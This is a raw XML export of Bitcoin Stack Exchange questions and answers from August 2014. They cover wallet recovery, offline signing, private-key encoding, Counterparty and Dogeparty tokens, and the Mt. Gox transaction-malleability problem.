  <row Id="30076" PostTypeId="1" CreationDate="2014-08-15T19:44:54.797" Score="4" ViewCount="3220" Body="&lt;p&gt;Say I am using an online wallet that uses BIP32 deterministic keys and the site goes down. I have a backup of my seed (passphrase). Is there a github repo that I can download, run on an offline computer, present it with my seed, present it with the BIP32 Path: m/44'/0'/0'/0/2 and recover the private key associated with that seed/path so that I can transfer the funds out of it?&lt;/p&gt;&#xA;" OwnerDisplayName="user15026" LastEditorDisplayName="user15026" LastEditDate="2014-08-18T17:14:35.450" LastActivityDate="2014-09-29T15:14:21.297" Title="How to recover coins from a wallet that uses BIP32 Deterministic Keys?" Tags="|bip32-hd-wallets|deterministic-wallets|recover-private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30078" PostTypeId="2" ParentId="30069" CreationDate="2014-08-15T22:21:05.847" Score="-3" Body="&lt;p&gt;The actual cost varies necessarily due to a number of factors. It's actual cost is subjective as it is interminably subject to change as a result of aforementioned factors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electricity is free in some parts of Africa. Liquid nitrogen cooling techniques compounded by walls of ice miles deep in northern and southern poles are not open to anyone,  much less blogged about conclusively. The best mining equipment will be open source public discourse eventually,  maybe. . .  But that is not the case today. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;^^^if you have ever looked at the A. S. I. C. Mining manufacturing concerns,  you will see a profoundly disturbing justification for the above skepticism; they all &quot;pretest&quot; their machines for months beyond their &quot;preorder&quot; slated release date.  Preposterous,  that the pre-orders be postdated months after the promise,  and even then, just a few lucky would-be miners actually receive equipment as advertised. (see Butterfly labs) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the terrible miners finally rolled their first batch out,  they could only be overclocked by the best in the world to put up 1.6Ths. (seen Teraminer) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(see what I mean) &lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-08-15T22:21:05.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30079" PostTypeId="2" ParentId="24364" CreationDate="2014-08-16T01:37:53.307" Score="0" Body="&lt;p&gt;I ran into this trying to help a friend with vanitygen and went the other direction, patching the Fedora packages to add the secp256k1 curve.  There are pros and cons to my approach and to Marc's, but if you want to try a system-wide patch, here's a &lt;a href=&quot;https://www.bfccomputing.com/bitcoin-and-curve-secp256k1-on-fedora/&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; on it with links to the patches and RPM's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go this direction, all you need to do is 'git clone' vanity gen and then run 'make'. &lt;/p&gt;&#xA;" OwnerUserId="19003" LastActivityDate="2014-08-16T01:37:53.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30080" PostTypeId="2" ParentId="16738" CreationDate="2014-08-16T05:00:29.140" Score="0" Body="&lt;p&gt;No, in a strict sense. The first bitcoin transaction predated the first wallet by several months, and there's no reason that couldn't have been a p2p cash for btc transaction. The first transaction was with Hal Finney in January 2009 (the 10 BTC test), and the first wallet was, I think, with v0.3 of bitcoin, sometime later in 2009. &lt;/p&gt;&#xA;" OwnerUserId="18788" LastActivityDate="2014-08-16T05:00:29.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30081" PostTypeId="2" ParentId="21513" CreationDate="2014-08-16T05:14:01.000" Score="2" Body="&lt;p&gt;Apparently it's possible just with bitcoin. Here's a snippet from Vitalik Buterin's Ethereum white paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Bitcoin] Scripts can also be used to pay bounties for solutions to computational problems, and one can even construct a script that says something like &quot;this Bitcoin UTXO [unused transaction output] is yours if you can provide an SPV [simplified payment verification] proof that you sent a Dogecoin transaction of this denomination to me,&quot; &lt;strong&gt;essentially allowing decentralized cross-cryptocurrency exchange&lt;/strong&gt; [emphasis added]. (Buterin, 2014)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, it sounds like you could do decentralized exchange by basically bidding for other currency through your transaction outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buterin, Vitalik. &quot;A Next Generation Smart Contract &amp;amp; Decentralized Application Platform&quot; Ethereum White Paper. Updated August 2, 2014. Accessed August 13, 2014. &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/%5BEnglish%5D-White-Paper&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ethereum/wiki/wiki/%5BEnglish%5D-White-Paper&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18788" LastActivityDate="2014-08-16T05:14:01.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30082" PostTypeId="1" CreationDate="2014-08-16T15:01:29.470" Score="1" ViewCount="702" Body="&lt;p&gt;I have an old &lt;code&gt;wallet.dat&lt;/code&gt; file with a few Bitcoins. It is stored in an isolated computer that is not connected to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get rid of the &lt;code&gt;wallet.dat&lt;/code&gt; file, and move all the Bitcoins in it to a few separate paper wallets (created using &lt;a href=&quot;https://www.bitaddress.org/bitaddress.org-v2.9.3-SHA1-7d47ab312789b7b3c1792e4abdb8f2d95b726d64.html&quot; rel=&quot;nofollow&quot;&gt;bitaddress.org&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The naive approach would be installing Bitcoin-QT, and make the transaction. Unfortunately, this is insecure - hackers could potentially steal my Bitcoins while I am online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The secure way should probably be something like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import the private key from &lt;code&gt;wallet.dat&lt;/code&gt; using some command-line tool, on the offline computer.&lt;/li&gt;&#xA;&lt;li&gt;Sign a transaction on the offline computer.&lt;/li&gt;&#xA;&lt;li&gt;Copy the signed transaction (sans any private key!) to an online computer using a flash drive.&lt;/li&gt;&#xA;&lt;li&gt;Publish the transaction from the online computer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've inspected a few tools, including &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; and &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt;, but I seek for your advice regarding the simplicity and safety of these tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any advice how to sign a transaction offline and publish it offline, to salvage the bitcoins from my &lt;code&gt;wallet.dat&lt;/code&gt; file?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="415" LastActivityDate="2014-08-16T19:28:03.393" Title="How to securly move bitcoins from a wallet.dat file to a paper wallet?" Tags="|security|ubuntu|coldstorage|paper-wallet|offline|" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-24T20:51:25.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="30083" PostTypeId="1" AcceptedAnswerId="30085" CreationDate="2014-08-16T16:30:07.297" Score="1" ViewCount="1628" Body="&lt;p&gt;I have a &lt;code&gt;BigInteger&lt;/code&gt; that represents a private key. How can I get that private key as a base58 encoded string? The following pseudo code does not work properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;base58.encode(bigInt.toByteArray) &#xA;// yields a string that differs from given bigInt's private key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def fullDoubleSha(bytes: ArrayOfByte) = {&#xA;  val digestSha = MessageDigest getInstance &quot;SHA-256&quot;&#xA;  digestSha digest digestSha.digest(bytes)&#xA;}&#xA;&#xA;def getPrivBytes(key: BigInteger) = key.toByteArray match { case keyBytes =&amp;gt;&#xA;  val res = if (keyBytes.head == 0) keyBytes drop 1 else keyBytes&#xA;  new Array(32 - res.length) ++ res&#xA;}&#xA;&#xA;def privBytesToWif(vs: ArrayOfByte) = {&#xA;  val rawPrivKey = Array(0x80.toByte) ++ vs&#xA;  rawPrivKey ++ fullDoubleSha(rawPrivKey).take(4)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12533" LastEditorUserId="12533" LastEditDate="2014-08-16T23:10:49.490" LastActivityDate="2014-08-16T23:10:49.490" Title="Get private key from BigInteger" Tags="|development|private-key|base58|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30085" PostTypeId="2" ParentId="30083" CreationDate="2014-08-16T16:53:42.287" Score="1" Body="&lt;p&gt;The base58 private key format includes an SHA256-based checksum.  See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8249/5757&quot;&gt;this answer&lt;/a&gt; for details (disregard the part of the question where the private key itself is the SHA256 hash of some other data).  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-08-16T16:53:42.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30086" PostTypeId="1" AcceptedAnswerId="30089" CreationDate="2014-08-16T19:06:39.937" Score="1" ViewCount="385" Body="&lt;p&gt;ELI5: What can one do with XDP that s/he cannot do with DOGE? Is &lt;a href=&quot;http://www.dogeparty.io&quot; rel=&quot;nofollow&quot;&gt;Dogeparty&lt;/a&gt; similar to projects such as Ethereum/Ripple? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly one receives 1 XDP/1000 DOGE &quot;burned&quot;. How are these DOGE 'destroyed'? And where does one go from there in using their newly acquired XDP?&lt;/p&gt;&#xA;" OwnerUserId="3023" LastEditorUserId="3023" LastEditDate="2014-08-16T19:32:48.447" LastActivityDate="2021-04-03T05:00:16.067" Title="What is the incentive behind using platforms such as XDP/Dogeparty?" Tags="|wallet|development|protocol|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30087" PostTypeId="2" ParentId="30082" CreationDate="2014-08-16T19:28:03.393" Score="0" Body="&lt;p&gt;You have correctly answered your own question in the list following &quot;The secure way should probably be something like [...]&quot;. You could skip step one by using the command-line API to the bitcoind client you presumably already have installed and used to generate the wallet.dat in the first place, but this is very tedious as you may have to manually list all the inputs to include in the transaction in a &lt;code&gt;createrawtransaction&lt;/code&gt; API call, and then echo the output back into a &lt;code&gt;signrawtransaction&lt;/code&gt; API call, before getting the signed transaction for step 3. If you want to investigate this route, check the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API Calls List&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-08-16T19:28:03.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30088" PostTypeId="2" ParentId="30026" CreationDate="2014-08-16T20:02:52.157" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://mtgox.com&quot; rel=&quot;nofollow&quot;&gt;mtgox&lt;/a&gt; website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please be aware that confirming the balance on this site does not constitute a filing of bankruptcy claims under the bankruptcy procedure and note that the balance amounts shown on this site should also not be considered an acknowledgment by the bankruptcy trustee of the amount of any bankruptcy claims of users.&#xA;  Bankruptcy claims under a bankruptcy procedure will be fixed through filing of claims and the investigation procedure. The method for filing claims will be published on this site as soon as we are in a situation to announce it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This implies that yes, you as a creditor will have to file a claim to avoid forfeiture, even if the bankruptcy trustee already knows about it from mtgox' data, and even if the current website confirms that to you. There is a deadline for filing your claims that apparently has recently been moved to May 29th 2015. The last sentence from the quote suggests that the trustee is struggling to provide a means of filing claims that scales to the thousands or tens of thousands of creditors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this is based on taking the information at the mtgox website at face value. A better answer would include whatever big money creditors or their lawyers say---but I have no source for that.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2015-04-28T13:12:21.650" LastActivityDate="2015-04-28T13:12:21.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30089" PostTypeId="2" ParentId="30086" CreationDate="2014-08-16T21:06:42.057" Score="4" Body="&lt;p&gt;The DOGE are &quot;destroyed&quot; by sending to them to an address for which no one knows the private key.  The address is DDogepartyxxxxxx... which is clearly human-generated.  Calculating the corresponding private key is equivalent to breaking Elliptic Curve encryption (and if someone can do that, the whole bitcoin ecosystem comes crashing down in flames -- because they could compromise any and all accounts, not just this one). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once XDP is created, there will be an XDP/DOGE market on DogeParty, just as there is an XCP/BTC market on Counterparty.  Using this &lt;strong&gt;decentralized&lt;/strong&gt; exchange, you will be able to trade your XDP back for DOGE if you desire.  (This feature is currently disabled in DogeParty but will be re-enabled soon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DogeParty/CounterParty is considerably more powerful than the underlying currency.  It has an internal, decentralized market for tokens.  You can issue dividends.  You can place bets and broadcast information.  For more, read about &lt;a href=&quot;http://www.counterparty.co&quot; rel=&quot;nofollow&quot;&gt;CounterParty&lt;/a&gt;.  (The DogeParty code is identical, save for renaming BTC -&gt; DOGE and changing the burn formula slightly)&lt;/p&gt;&#xA;" OwnerUserId="15529" LastActivityDate="2014-08-16T21:06:42.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30090" PostTypeId="2" ParentId="30001" CreationDate="2014-08-16T22:33:51.007" Score="-2" Body="&lt;p&gt;This came from bubfranks on reddit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Oh fun! Let me try.&#xA;Given a random stream of bits that was impossible to predict, but agreed upon by local miners, reject blocks that do not include a valid bitstream. The probability of getting scooped by a cooperation between external hashpower and an internal node would be a function of the speed of light, distance between the attackers, and length of a valid bitstream.&quot;&lt;/p&gt;&#xA;" OwnerUserId="18953" LastActivityDate="2014-08-16T22:33:51.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30091" PostTypeId="2" ParentId="20761" CreationDate="2014-08-17T00:08:10.877" Score="2" Body="&lt;p&gt;The file &lt;code&gt;recovered_wallet_NNN.dat&lt;/code&gt; should be a standard Litecoin wallet file containing those (possible) private keys that pywallet found.  Install litecoin-qt if you haven't already, back up your existing &lt;code&gt;wallet.dat&lt;/code&gt; if any, and copy &lt;code&gt;recovered_wallet_NNN.dat&lt;/code&gt; in its place.  Then run &lt;code&gt;litecoin-qt -rescan&lt;/code&gt; (this may take a long time to start up as it rescans the entire block chain).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data found by pywallet included your old private keys, litecoin-qt will have access to them and will show you your balance.  You can then send your coins to a new address or whatever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also entirely possible that the data found by pywallet looks like private keys but is actually something else.  They will still work as private keys (since a private key can be any 256-bit integer) but they will correspond to addresses that don't contain any coins.  In that case, litecoin-qt will show you a zero balance, and you are out of luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;pywallet_partial_recovery_NNN.dat&lt;/code&gt; appears to be used by pywallet to save its progress in case you abort the recovery process.  Since in your case it finished correctly, you don't need this file for anything.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-17T00:08:10.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30092" PostTypeId="1" CreationDate="2014-08-17T04:00:29.270" Score="2" ViewCount="278" Body="&lt;p&gt;As of now the difficult for PoW block (Block #127803) is 183694752.0, and for PoS block (Block #127804) is 10.4918556213. Why are the two values so different? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any relation between PoW difficulty and PoS difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This block reward reduces by half every time the hashing power of the network increases by 16 times&quot;. Does this statement apply to only PoW difficulty or to both PoW and PoS difficulty?&lt;/p&gt;&#xA;" OwnerUserId="18800" LastActivityDate="2014-08-17T04:00:29.270" Title="Peercoin: What is the difference and similarity between the PoW difficulty and PoS difficulty?" Tags="|difficulty|peercoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:05:03.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="30093" PostTypeId="2" ParentId="25828" CreationDate="2014-08-17T05:31:56.993" Score="4" Body="&lt;p&gt;The main difference between these protocols is how they associate and store data about asset ownership. Colored coins at least as implemented by Coinprism, put data in the form of a transaction output that must be retained in later transactions involving the associated standard transaction outputs (spending money). If a colored coin is handled by a wallet which is not colored-coin aware, the output containing data would not be reproduced and the colored coins involved would be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counterparty takes a different approach in that all of the ownership, issuance, order, betting and other data is stored in the blockchain with no relationship between money spending bitcoin outputs and the existence of such data. Instead, each counterparty transaction adds data to the global counterparty history. If your address has 500 FOO tokens, it will continue to have those tokens until a counterparty transaction is signed by your address that sends them somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model Counterparty uses, makes it possible to do things like locking the issuance of a token so no more can be created in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another fundamental difference is that colored coins use the 40-bytes available after an OP return whereas Counterparty encodes its data in the form of additional multisig addresses. Each allows spent bitcoins to be reclaimed but Counterparty can store more data in this way as long as Bitcoin's fee structure and mining community allow it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to how many xcp the developers control, that is unknown but is related directly to how many bitcoins they burned during the 30-day proof-of-burn period. At that time ~2100 bitcoins were destroyed to create 2.6 million xdp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colored coins would basically need to restart itself under a new model to copy what Counterparty is doing including its own solution to the initial distribution of a valuable, native XDP-like token.&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditDate="2014-08-17T05:37:10.223" LastActivityDate="2014-08-17T05:37:10.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30094" PostTypeId="1" CreationDate="2014-08-17T15:38:28.813" Score="0" ViewCount="128" Body="&lt;p&gt;I`m thinking about building a business with a friend of mine. The business would use bitcoin as its primer currency, because we expect most of the transactions to be rather small amounts of money (1 to 5 $). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don`t really want to go into details about the idea, but our goal is to only operate as a middleman in the market. The transactions of our business would have to happen as follows:&#xA;The user sends us a small fraction of a bitcoin and would define a time frame after which the money should get transferred to another user. From this amount we would take some % for us as profits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, our idea would only work if there were a lot of users. And if we achieve this, it implies that we have too many transactions to handle them manually.&#xA;So my question is, how can we automatically transfer the coins after a certain time, in a professional way?&#xA;User a for example would define that he wants his money to get transferred to user b after 2 days and 1 hour. How can we do this transaction in an automated way.&#xA;And how can we store the coins securely within this time? Do they have to be online the whole time, or could we have a better solution whit cold storage in some form?&#xA;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="19010" LastActivityDate="2014-09-17T17:40:19.720" Title="Transaction schedule" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30095" PostTypeId="2" ParentId="30094" CreationDate="2014-08-17T20:19:12.093" Score="1" Body="&lt;p&gt;The simplest way to send and receive bitcoins programatically is to run the standard bitcoind client and have your software talk to it via the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC interface&lt;/a&gt;.  You can give it commands to send coins, check for incoming transactions, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how to schedule transactions to be made at some future time: once you know how to make transactions via RPC, doing it at a scheduled future time is really just a general programming question and not within the scope of this site.  The most obvious approach would be a similar algorithm to Unix's &lt;code&gt;crond(8)&lt;/code&gt;: have a queue of pending jobs in chronological order, and sleep until it's time to execute the next one.  When a new job is scheduled, insert it at its proper place in the queue, and if it turns out to be first in the queue, recalculate the sleep time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for whether and how to use cold storage: that's something you'll have to determine.  Keeping the temporarily held coins in cold storage will reduce the risk of them being stolen by an attacker, but also adds extra costs since you will need a trusted human employee to manually transfer coins back out of cold storage at appropriate intervals.  You'll have to balance that against the risks and potential liabilities of having coins stolen.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-17T20:19:12.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30096" PostTypeId="2" ParentId="29529" CreationDate="2014-08-17T22:13:29.147" Score="2" Body="&lt;p&gt;To supplement George's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would help if you would clarify what you mean by &quot;crash&quot; and describe exactly what happens.  (To many people, &quot;crash&quot; means a segfault or similar abnormal termination, but it sounds like that's not what you mean.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the issue is that the program appears unresponsive, this is normal: it's a well-known annoyance (perhaps not exactly a bug) in bitcoin-qt.  The program needs to rescan the transaction ledger (block chain) to find any previous transactions involving the newly imported address.  Unfortunately, while doing so it does not accept input from the GUI, report its progress, or redraw its window, which makes it look like the program has hung.  However, it should finish eventually if you don't kill it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my computer (laptop circa 2012 with SSD), rescanning takes 5-10 minutes.  Depending on the performance of your computer and especially your hard drive, it could take substantially longer.  I would give it at least an hour or two before assuming it is really hung.  You may also be able to see in your system's status monitor that the bitcoin-qt client is using CPU and/or doing disk I/O, which should indicate it is still working on the rescan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As George suggests, you can disable the rescan using the &lt;code&gt;rescan=false&lt;/code&gt; option.  However, this is usually not a good idea.  If you do so, bitcoin-qt will not know about any previous transactions on this address; in particular, if the address contains coins, bitcoin-qt will not know about this, will not update your balance to include them, and will not let you spend them.  Since the most common reason to import a private key is to claim coins that it contains, this would defeat the purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the address has never been used before (e.g. it is a vanity address you have just generated), then it is fine to use &lt;code&gt;rescan=false&lt;/code&gt;, since there are no previous transactions to be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have several private keys to import, you can use &lt;code&gt;rescan=false&lt;/code&gt; for all but the last one, to save time.  When a rescan is done, it searches for transactions for all addresses in the wallet, both old and new.  You can also force a rescan later by quitting bitcoin-qt and restarting it with the &lt;code&gt;-rescan&lt;/code&gt; flag; again, it will appear to be hung for a while as it rescans, and the GUI window may not appear until it is done.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-17T22:13:29.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30099" PostTypeId="1" AcceptedAnswerId="30428" CreationDate="2014-08-18T14:12:10.923" Score="1" ViewCount="353" Body="&lt;p&gt;At first, MultiBit was all snappy. Over the course of about 4 weeks I added ~120 more receive addresses. Now, MultiBit is very sluggish, grinding the hard-drive excessively (sometimes for minutes), especially when sending payments or when exiting the program. Today, it displayed a message in the status bar that it couldn't open the wallet and that it will use some rolling backup. After that, it resynchronized for about an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worry that if things continue this way I will be faced with catastrophic data and money loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any hints on why this might happen or whether I could migrate to another more reliable wallet software which could import all my addresses?&lt;/p&gt;&#xA;" OwnerUserId="19016" LastActivityDate="2015-05-11T12:48:26.597" Title="MultiBit got progressively slower after adding more receive addresses" Tags="|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30100" PostTypeId="2" ParentId="22937" CreationDate="2014-08-18T14:17:31.010" Score="1" Body="&lt;p&gt;I'll assume that MtGOX are being truthful here, to avoid undermining OP's question. Transaction malleability was absolutely an issue around the time. It affected a number of implementations, from BitcoinJ, to older bitcoin nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The operator of &lt;a href=&quot;http://faucet.xeno-genesis.com/&quot; rel=&quot;nofollow&quot;&gt;http://faucet.xeno-genesis.com/&lt;/a&gt; also informed me his service had huge issues around the time of the malleability bot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The confusion that can occur in a wallet is like this: Imagine your node hears about a transaction with ID A, paying into your wallet. But, imagine this transaction was malleated, and the original was the one to be confirmed. Your wallet has no knowledge of this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All transactions refer to unspent transactions, and although a various copies of a transaction transaction can exist temporarily in different parts of the world, eventually only one will confirm. We know inputs can only be spent once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some implementations might not handle this correctly. Imagine trying to spend a Tx that didn't exist, maybe your customer wants to withdraw BTC? It would fail if you don't check if newly published blocks have transactions that conflict with unconfirmed transactions. You could observe two transactions spending the same input, so you'd take the confirmed one as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGOX also would have had issues sending coins they received &lt;em&gt;before&lt;/em&gt; the attack. The reason is, if they broadcast their transaction, and a malleated copy ended up in the blockchain, they would assume it failed to confirm, so the customer can try again. Maybe even using other inputs! This cycle could have been repeated by one attacker over and over draining the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible issue is that if they did correctly believe the transaction went through, but still tried to spend the incorrect TxID, then that transaction would fail, causing panic from the customer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets which sent a high number of transactions during the attack were most affected. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-18T14:17:31.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30101" PostTypeId="2" ParentId="30099" CreationDate="2014-08-18T14:27:32.153" Score="0" Body="&lt;p&gt;It seems very unlikely that a number of addresses as small as 120 could make a significant difference in performance. I would guess there is some other problem that just happens to coincide with you adding addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inability to open the wallet, and the excessive disk I/O, is particularly troubling. One possible explanation is that the hard drive is failing - the slow I/O being caused by repeatedly retrying failed operations. I would start by backing up all your files and especially your wallet (which you do regularly anyway - right?). If that fails because there are files that the backup software cannot read (without a good reason, e.g. they are locked by another process), or it reports I/O errors, then that would clearly indicate a failing drive that needs to be replaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Generally, if you have good, regular backups of your wallet files, you are fairly well protected against &quot;catastrophic money loss&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-18T14:27:32.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30102" PostTypeId="1" CreationDate="2014-08-18T15:39:21.913" Score="0" ViewCount="245" Body="&lt;p&gt;I wanted to transfer my my RDD coins from Bittrex account to my cryptsy account. I mistakenly sent the RDD coins to A RED generated address on my Criptsy account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls how is it possible to recover my coins? The techs at Cryptsy have been on it for 2 weeks now and have been very helpful in keeping me updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciated some suggestions.&lt;/p&gt;&#xA;" OwnerUserId="19017" LastActivityDate="2014-08-20T08:11:33.940" Title="RDD sent to RED address" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30104" PostTypeId="1" CreationDate="2014-08-18T18:19:44.947" Score="2" ViewCount="12455" Body="&lt;p&gt;I'd like to convert my Blockchain.info wallet to a local Bitcoin-qt wallet. How can I do that? (I am fine with using command line tools.)&lt;/p&gt;&#xA;" OwnerUserId="12542" LastActivityDate="2015-01-09T20:39:00.597" Title="How can I convert a wallet.aes.json file from Blockchain.info to a wallet.dat file?" Tags="|wallet|blockchain.info|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30105" PostTypeId="1" AcceptedAnswerId="30108" CreationDate="2014-08-18T19:18:57.010" Score="1" ViewCount="121" Body="&lt;p&gt;What circumstances made &lt;a href=&quot;http://www.coindesk.com/price-bitcoin-drops-400-btc-e-flash-crash/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; possible? What entities or major factors could be the cause?&lt;/p&gt;&#xA;" OwnerUserId="3023" LastEditorUserId="3023" LastEditDate="2014-08-19T00:16:34.113" LastActivityDate="2014-08-19T00:16:34.113" Title="What are some possible causes of the BTC-e 'flash' crash?" Tags="|exchange-rate|btce|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
